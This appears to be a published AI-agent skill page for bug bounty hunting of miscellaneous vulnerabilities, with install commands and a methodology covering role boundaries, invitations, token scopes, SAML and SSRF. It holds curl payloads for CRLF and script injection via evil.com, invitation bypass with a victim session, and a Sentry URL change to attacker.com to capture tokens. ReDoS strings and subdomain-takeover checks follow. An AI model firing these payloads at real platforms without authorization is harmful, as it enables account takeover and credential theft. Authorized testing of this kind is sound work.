hunt-misc skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunting skill for misc vulnerabilities. Built from 225 public bug bounty reports. Use when hunting misc on any target.

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Install the hunt-misc skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-misc ~/.claude/skills/hunt-misc

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Crown Jewel Targets

Why this vuln class pays: MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.

Highest-value targets:

SaaS platforms with role hierarchies (Shopify, GitHub, GitLab) — any boundary between owner/admin/staff/guest is a privilege escalation surface
Identity/auth flows — invitation links, password reset, SAML SSO, OAuth token scopes
Multi-tenant systems — one tenant touching another tenant's data
Internal APIs — LFS endpoints, pre-receive hooks, internal GraphQL/REST that assume caller is trusted
Domain/DNS management features — transfer controls, subdomain delegation
Token/credential management — PAT scopes, deploy keys, API tokens stored in config fields

Asset types that pay most:

Core product APIs (not marketing subdomains)
Enterprise/self-hosted editions (GitHub Enterprise, GitLab EE)
Partner/collaborator invitation systems
OAuth app integrations and webhook endpoints

Attack Surface Signals

URL patterns to watch:

/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*

Response header signals:

X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*

JS patterns revealing internal surfaces:

// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATs

Tech stack signals:

Ruby/Rack middleware (CRLF injection risk in pitchfork)
SAML SSO enabled on enterprise instances
PyPI proxy/mirror configurations (dependency confusion)
Sentry error tracking integration fields (SSRF/token leak vector)
Multi-role invitation systems (partners, staff, collaborators)

Step-by-Step Hunting Methodology

Map all role/permission boundaries — enumerate every role level (owner → admin → staff → guest → removed) and document what each role should see

Marker Discipline: when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, attacker, evil, admin, AAAA. Good markers: cpmark987abc, x4hd2k9pq. Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.

Body-Diff Rule: a privilege-bypass claim requires response BODY differential, not status-code-only. 200 OK with byte-identical body to baseline is NOT a bypass. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.

Test invitation flows end-to-end — accept invitations without completing verification steps; modify invitation tokens; test whether accepting an invitation as a different user grants access

Test post-removal access — add a user to a resource, remove them, then test if their session/token still grants access (especially after company/org removal)

Fuzz token scope enforcement — create PATs/tokens with minimal or no scopes, then call API endpoints that should require elevated scopes

Test cross-tenant resource access — as Tenant A, attempt to read/write Tenant B's resources by manipulating IDs, paths, or headers

Probe internal/undocumented API endpoints — look for LFS endpoints, internal GraphQL operations, pre-receive hook environments, webhook delivery logs

Check SAML/SSO logic — test signature verification bypass by stripping signatures, modifying NameID, replaying assertions, or manipulating XML namespace

Audit configuration fields for SSRF/token exfiltration — any URL field in admin settings (Sentry DSN, webhook URL, proxy URL) is a potential SSRF or credential leak

Test password reset and email verification flows — skip email verification steps; test whether reset tokens are scoped to a single user; test token reuse

Check HTTP header injection points — any user-controlled input passed into response headers via Ruby/Rack middleware; test CRLF sequences

Verify DNS/subdomain hygiene — enumerate subdomains, check for dangling CNAME records, verify SPF/DMARC/DKIM records

Test package registry proxy configurations — look for dependency confusion via forwarded requests to public registries (PyPI, npm, RubyGems)

Payload & Detection Patterns

CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):

# Test CRLF in header values
curl -v "https://target.com/path" \
  -H $'X-Custom: value\r\nInjected-Header: evil'

# URL-encoded variant
curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"

# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"

Privilege escalation via invitation bypass:

# Accept invitation without email verification
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
  -H "Cookie: session=UNVERIFIED_SESSION" \
  -d '{"role":"admin"}'

# Test invitation token for another user
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
  -H "Cookie: session=VICTIM_SESSION"

Token scope bypass (GitHub/GitLab PAT):

# Call privileged endpoint with minimal-scope token
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
  "https://api.github.com/repos/org/private-repo/issues"

# Test suspended installation access
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
  "https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"

SSRF via config URL fields (Sentry integration):

# Change Sentry URL to internal listener
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
  -H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
  -d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'

ReDoS detection:

# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'

# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'

# Timing-based detection
time curl "https://target.com/search?q=aaaa" # baseline
time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"

Grep patterns for source recon:

# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"

# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"

# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"

# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"

Dangling subdomain / DNS check:

# Check for obsolete DNS records
dig CNAME handbook.gitlab.com
curl -sI https://handbook.gitlab.com | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate

# SPF check
dig TXT rubylang.org | grep spf
# Missing or ~all = email spoofing risk

Common Root Causes

Soft deletes without permission invalidation — removing a user from an org marks them as removed but doesn't revoke active sessions or cached permission checks; subsequent API calls still pass old auth context

Invitation acceptance without verification gate — developers implement invitation flow optimistically (assume user who received email is legitimate) and skip re-verification when token is consumed by a different session

Token scope checked at issuance, not at use — PAT/OAuth scopes validated when token is created but individual API endpoint handlers don't re-check scope, trusting middleware that may have a gap

Role-based access control checked at UI layer only — frontend hides buttons for restricted roles but backend API endpoints don't enforce the same restriction; direct API calls bypass UI gating

SAML XML parsing quirks — signature covers only part of the document; XML canonicalization differences allow unsigned content to pass verification; namespace prefix attacks

Config/URL fields trusted as internal — integration URL fields (Sentry, webhooks) assumed to be set only by trusted admins; maintainer-level roles can modify them to exfiltrate tokens

Ruby header injection via string interpolation — developer builds HTTP response headers by string concatenation without sanitizing newlines; Rack 3 behavioral changes exposed previously-hidden bugs

Proxy/mirror configs forwarding all requests upstream — package registries configured to fall back to public registries without restricting which packages are internal-only, enabling dependency confusion

Pre-receive hook environments exposing privileged context — hook scripts run with access to internal environment variables, git internals, or SSH keys that shouldn't be user-accessible

Multi-device session design conflated with session fixation — engineers implement "remember me across devices" by issuing non-expiring tokens, treating it as a feature while creating persistent access risk

Server-policy responses mistaken for state-based oracles — when many different path types return the SAME response shape, suspect a server-side blocklist/policy filter, NOT a real file-existence / user-existence / resource-existence oracle. Engineers add blanket filters (e.g., "block any path ending in .config/.ashx/.asmx/.svc") that return the same error regardless of whether the underlying file exists. Don't infer "file exists" from "blocked"; verify with an independent signal (Collaborator callback, response-time differential at scale, or out-of-band confirmation). Lesson: SharePoint's download.aspx?SourceUrl= returned "blocked from this Web site by the server administrators" for .ashx/.asmx/.svc/.config extensions regardless of whether the underlying file existed — looked like a file-existence oracle, was actually the extension blocklist. Treating it as the former produced a list of "discovered custom customer-branded endpoints" that didn't actually exist.

Bypass Techniques

Defender mitigations and how to bypass them:

Gate 0 Validation

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